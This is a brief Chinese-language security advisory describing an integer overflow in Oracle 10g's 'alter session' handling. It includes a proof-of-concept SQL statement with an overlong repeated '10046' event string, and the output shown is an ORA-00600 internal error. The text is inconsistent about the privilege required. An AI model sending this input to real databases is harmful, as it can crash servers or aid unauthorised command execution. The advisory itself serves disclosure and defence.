Oracle 10g更改会话整数溢出漏洞

Oracle在处理更改会话操作时存在整数溢出漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。

仅拥有SELECT权限的用户可以通过提交超长的alter session请求来触发这个漏洞，导致在数据库中执行任意命令。

测试方法：

以仅有CREATE SESSION权限用户的身份连接到数据库。

SQL> alter session set events '10046 trace name context forever, level 16';

Session altered.

SQL> alter session set events
'10046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004610046100461004610046100461004610046
100461004610046100461004610046100461004610046100461004610046100461004610
046100461004610046100461004610046100461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004610046100461004610046100461004610046
100461004610046100461004610046100461004610046100461004610046100461004610
046100461004610046100461004610046100461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
00461004610046trace
name context forever, level 16';
ERROR:
ORA-00600: internal error code, arguments: [300], [985], [], [], [], [], [],
[]

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